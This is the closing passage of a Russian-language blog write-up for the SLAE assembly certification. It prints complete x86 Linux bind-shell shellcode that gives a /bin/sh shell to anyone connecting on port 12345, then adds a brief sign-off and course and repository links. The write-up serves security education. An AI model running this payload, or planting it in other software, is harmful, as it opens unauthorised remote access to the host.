\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x30\x39\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80

Если бы мы вставили этот шелл-код в нашу программу на C, чтобы протестировать шелл-код, мы бы обнаружили, что он работает так же, как и раньше, за исключением того, что оболочка привязки будет прослушивать порт 12345.

Подведение итогов

Извините за длинный пост, но я надеюсь, что вы узнали что-то новое, и спасибо за то, что дочитали до конца, если вы зашли так далеко! Далее я проделаю аналогичное упражнение, но с обратной оболочкой.

Этот пост в блоге был создан для выполнения требований сертификации SecurityTube Linux Assembly Expert:

http://securitytube-training.com/online-courses/securitytybe-linux-assembly-expert/

ID учащегося: SLAE-1286

Примеры кода можно найти по адресу https://github.com/ryuke-acker/slae-writeups.